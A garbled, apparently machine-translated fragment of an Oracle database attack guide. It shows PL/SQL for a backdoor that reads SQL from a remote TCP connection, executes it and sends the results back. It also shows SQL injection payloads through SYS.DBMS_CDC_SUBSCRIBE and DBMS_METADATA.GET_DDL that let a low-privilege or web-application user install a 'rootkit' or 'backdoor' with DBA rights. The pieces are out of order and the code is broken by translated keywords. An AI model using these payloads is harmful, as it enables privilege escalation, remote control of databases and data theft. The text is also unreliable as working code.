DBMS_SQL.COLUMN_VALUE (l_thecursor, i, l_columnvalue); l_ret_val: = UTL_TCP.WRITE_LINE

l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' ''); END LOOP;

DBMS_SQL.CLOSE_CURSOR (l_thecursor); OUTRO

EXECUTAR IMEDIATA (l_sqlstm);

Se houver algum erro, envie a descrição sobre a conexão.

QUANDO outros, então

l_ret_val: = UTL_TCP.WRITE_LINE (l_cn, '' [[FIM]] ''); END LOOP;

UTL_TCP.CLOSE_CONNECTION (l_cn); FIM;

', SYSDATE + 10/86400, '+ SYSDATE 1/1440');

FETCH l_cur_jobs EM l_rec; EXIT WHEN l_cur_jobs%

Executar esses scripts como um usuário DBA:

Como um usuário de baixo privilégio conectado ao banco de dados:

P_CHANGE_SET: = '' '|| SCOTT. ins_rootkit () || '' '; P_DESCRIPTION: = 'AA';

SYS.DBMS_CDC_SUBSCRIBE.GET_SUBSCRIPTION_HANDLE (P_CHANGE_SET, P_DESCRIPTION,

Para instalar o backdoor apenas mudar ins_rootkit para ins_backdoor.

Como um usuário do aplicativo web:

l_sqlstm: = UTL_TCP.GET_LINE (l_cn, TRUE);

'|| SYS.DBMS_METADATA.GET_DDL (' AA '' || scott.ins_backdoor || '' ' '') ||'